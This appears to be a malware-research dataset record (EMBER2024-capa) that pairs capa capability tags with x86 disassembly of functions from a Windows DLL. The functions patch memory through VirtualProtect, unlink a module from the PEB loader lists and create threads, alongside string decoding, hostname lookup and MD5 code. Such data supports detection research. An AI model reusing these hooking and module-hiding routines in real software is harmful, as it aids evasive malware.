joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10022150
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10063371
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1008bf0c]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10094898]
cmp eax, dword [ecx + 0xc]
jle 0x100221e5
push 0x10094898
call fcn.1005f8b1
add esp, 4
cmp dword [0x10094898], 0xffffffff
jne 0x100221e5
mov dword [ebp - 4], 0
mov ecx, dword [0x100913cc]
mov eax, dword [0x1008d760]
add eax, 0x148
push eax
mov edx, dword [ecx]
call dword [edx + 4]
add eax, 4
mov dword [ebp - 4], 0xffffffff
push 0x10094898
mov dword [0x1009484c], eax
call fcn.1005f867
add esp, 4
mov ecx, dword [0x100913cc]
mov eax, dword [0x1008d760]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x10022274
cmp dword [0x10092e4c], 0
je 0x10022274
mov eax, dword [0x1008d760]
mov ecx, dword [eax + 0x2a8]
mov eax, dword [0x10092294]
mov ecx, dword [eax + ecx]
call fcn.10014ba0
mov esi, eax
test esi, esi
je 0x10022274
mov ecx, dword [0x100913cc]
push 0x1009269c
mov edx, dword [ecx]
call dword [edx + 4]
test eax, eax
je 0x10022274
mov edx, dword [0x10091994]
add edx, eax
cmp edx, eax
jbe 0x10022274
mov ecx, esi
call edx
test eax, eax
jle 0x10022274
mov edi, dword [0x1009484c]
cmp edi, 0x1000
jbe 0x100222a5
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3a8312a2
jmp 0x10022299
mov edi, dword [0x1009484c]
cmp edi, 0x1000
jbe 0x100222a5
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3e19999a
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push 4
push edi
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005f599
mov esp, ebp
pop ebp
ret
Function at 0x100222c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x100913cc]
mov eax, dword [0x1008d760]
push esi
push edi
mov edx, dword [ecx]
add eax, 0x1c
push eax
call dword [edx + 4]
mov ecx, dword [0x100913cc]
cmp dword [eax], 0
mov edx, dword [ecx]
mov eax, dword [0x1008d760]
je 0x1002232a
add eax, 0x150
cmp dword [0x10092000], 0
push eax
je 0x10022330
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002235d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x10022351
add eax, 0x150
push eax
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002235d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x6a
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1005f599
mov esp, ebp
pop ebp
ret

Function at 0x100228d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x1008d150], 0
jne 0x10022933
mov edx, 0x54
xor eax, eax
mov cl, byte [eax + 0x1007d63c]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x18], cl
and edx, 0x800000ff
jns 0x10022903
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x15
jl 0x100228e6
lea eax, [ebp - 0x18]
mov byte [ebp - 3], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, 0xcdda
mov dword [0x1008d150], 1
mov dword [0x10092740], eax
add eax, 0x18
mov dword [0x10091aac], eax
mov esp, ebp
pop ebp
ret
Function at 0x10024b20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.10024a30
mov eax, dword [0x100919ac]
mov ebx, fcn.10006eb0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edi, [eax + 0x10]
cmp edi, 0x1000
jbe 0x10024b7d
cmp ebx, 0x1000
jbe 0x10024b7d
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100919ac]
lea edi, [eax + 0x3c]
cmp edi, 0x1000
jbe 0x10024bb2
cmp ebx, 0x1000
jbe 0x10024bb2
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100919ac]
lea edi, [eax + 0x40]
cmp edi, 0x1000
jbe 0x10024be7
cmp ebx, 0x1000
jbe 0x10024be7
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100919ac]
lea edi, [eax + 0x44]
cmp edi, 0x1000
jbe 0x10024c1c
cmp ebx, 0x1000
jbe 0x10024c1c
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100919ac]
lea edi, [eax + 0x48]
cmp edi, 0x1000
jbe 0x10024c51
cmp ebx, 0x1000
jbe 0x10024c51
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100919ac]
lea edi, [eax + 0x4c]
cmp edi, 0x1000
jbe 0x10024c86
cmp ebx, 0x1000
jbe 0x10024c86
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100919ac]
lea edi, [eax + 0x50]
cmp edi, 0x1000
jbe 0x10024cbb
cmp ebx, 0x1000
jbe 0x10024cbb
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100919ac]
lea edi, [eax + 0x54]
cmp edi, 0x1000
jbe 0x10024cf0
cmp ebx, 0x1000
jbe 0x10024cf0
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100919ac]
lea edi, [eax + 0x58]
cmp edi, 0x1000
jbe 0x10024d20
cmp ebx, 0x1000
jbe 0x10024d20
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005f599
mov esp, ebp
pop ebp
ret
Function at 0x10025bc0
Capabilities:
Get hostname

Disassembly:
push 0x1008b05c
push 0x100920f0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.10025ad0
cmp eax, 1
jne 0x10025bec
push str.Win_XP
push 0x1008db08
call fcn.100057d0
add esp, 8
call fcn.10025ad0
cmp eax, 2
jne 0x10025c08
push str.Win_Vista
push 0x1008db08
call fcn.100057d0
add esp, 8
call fcn.10025ad0
cmp eax, 3
jne 0x10025c24
push str.Win_7
push 0x1008db08
call fcn.100057d0
add esp, 8
call fcn.10025ad0
cmp eax, 4
jne 0x10025c40
push str.Win_8
push 0x1008db08
call fcn.100057d0
add esp, 8
call fcn.10025ad0
cmp eax, 5
jne 0x10025c5c
push str.Wi_10
push 0x1008db08
call fcn.100057d0
add esp, 8
ret
Function at 0x100513c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
mov esi, edx
mov edi, ecx
nop dword [eax]
cmp byte [edi], 0x6a
jne 0x1005145e
cmp esi, 0x1000
jbe 0x1005143a
cmp edi, 0x1000
jbe 0x1005143a
lea eax, [ebp - 8]
push eax
push 0x80
push 7
push esi
call ebx
push 7
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push 7
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10012890
add esp, 4
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x100514ca
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10012890
add esp, 4
cmp esi, 0x1000
jbe 0x100514cd
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x100514ca
cmp esi, 0x1000
jbe 0x100514a8
cmp edi, 0x1000
jbe 0x100514a8
lea eax, [ebp - 0xc]
push eax
push 0x80
push 5
push esi
call ebx
push 5
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push 5
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10012890
add esp, 4
jmp 0x100514c2
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10012890
add esp, 4
cmp esi, 0x1000
jbe 0x100514cd
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 7
push esi
call ebx
mov al, byte [edi]
cmp al, 0x8b
je 0x100514e4
cmp al, 0x6a
je 0x100514e4
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100513e0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005f599
mov esp, ebp
pop ebp
ret
Function at 0x10051b50
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
jne 0x10051c52
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x10051bd7
cmp ecx, edi
jne 0x10051bce
mov edx, dword [eax + 4]
test edx, edx
je 0x10051b9c
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x10051b9c
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x10051ba8
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x10051bb5
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x10051bce
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x10051bce
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10051b81
push esi
push 0x1c
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push 0xc8
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1003a470
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10051740
push 0
push 0
call esi
pop esi
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.1005f599
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100521e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x1005220c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x1005222e
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x10052230
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x100522b5
jg 0x10052245
test esi, esi
je 0x100522b5
test ecx, ecx
jl 0x10052298
jg 0x1005224f
test eax, eax
je 0x10052298
cmp edi, ecx
jg 0x10052263
jl 0x10052259
cmp esi, eax
jae 0x10052263
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
mov edx, dword [ebp + 8]
sbb edi, dword [esp + 0x10]
add edx, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x100522b5
jg 0x1005229b
test esi, esi
je 0x100522b5
jmp 0x1005229b
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x100522b5
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100522d0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x100522fc
jl 0x100522f0
test esi, esi
jne 0x100522fc
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x10052315
push eax
push esi
push ecx
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, esi
mov dword [ebp - 4], esi
mov edx, dword [eax]
test edx, edx
je 0x10052355
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x10052355
mov edi, dword [ebp + 0xc]
cmp eax, edi
cmovb esi, eax
push esi
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 8], esi
add esp, 0xc
mov dword [ebp - 4], edi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0xc]
cmp dword [ebx + 0x4c], 0
je 0x1005240c
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x10052380
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov eax, dword [ebp - 4]
mov edx, eax
mov ecx, dword [ebp - 8]
cmp eax, 0xfff
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov dword [ebp - 4], edx
jbe 0x100523cf
nop word [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push ecx
call eax
mov ecx, dword [ebp - 8]
sub edi, eax
add ecx, eax
mov dword [ebp - 4], edi
add esp, 0x10
mov dword [ebp - 8], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x100523f9
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x100523a0
cmp dword [ebp - 4], 0
jbe 0x1005240f
push dword [ebx + 0x4c]
push edi
push 1
push ecx
call eax
mov edx, dword [ebp - 4]
add esp, 0x10
sub edx, eax
sub esi, edx
mov edx, dword [ebp + 0x10]
mov eax, esi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0x10]
sub esi, edi
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp - 4]
sub esi, edx
mov edx, dword [ebp + 0x10]
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10052780
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x100527b0
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005f599
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x100527e0
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x100527e0
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005f599
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x100528b5
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x10052809
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x10052815
movsx eax, bl
jmp 0x1005284c
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x100528b5
cmp eax, 1
jle 0x10052876
cmp eax, 3
jne 0x100528b5
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005f599
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10052894
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x100528b5
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x100528b5
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005f599
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005f599
mov esp, ebp
pop ebp
ret 4
Function at 0x1005a8a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x1005a95c
cmp byte [esi + 0x3d], 0
je 0x1005a95c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x1005a94a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x1005a911
sub eax, 1
je 0x1005a915
sub eax, 2
jne 0x1005a94a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005f599
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x1005a933
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1005a94a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005f599
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005f599
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.1005f599
mov esp, ebp
pop ebp
ret
Function at 0x1005f330
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006bc7d
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x84]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x84], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x67452301
mov dword [ebp - 0x34], 0xefcdab89
mov dword [ebp - 0x30], 0x98badcfe
mov dword [ebp - 0x2c], 0x10325476
call fcn.1005f1d0
cmp byte [ebp - 0x84], 0
jne 0x1005f481
xor edx, edx
lea ecx, [ebp - 0x3f]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x18], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x17], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x16], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x15], al
add edx, 4
cmp edx, 8
jb 0x1005f3c5
mov edx, dword [ebp - 0x40]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x84]
push eax
push 0x1008b6f8
call fcn.1005f1d0
push 8
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x84]
call fcn.1005f1d0
xor edx, edx
lea ecx, [ebp - 0x37]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x28], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x27], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x26], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x25], al
add edx, 4
cmp edx, 0x10
jb 0x1005f434
push 0x40
lea eax, [ebp - 0x83]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov byte [ebp - 0x84], 1
add esp, 0xc
movq qword [ebp - 0x40], xmm0
push esi
lea ecx, [ebp - 0x84]
call fcn.1005f280
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1005f4c3
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1005f4b9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1005f4b9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.1005fde6
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005f599
mov esp, ebp
pop ebp
ret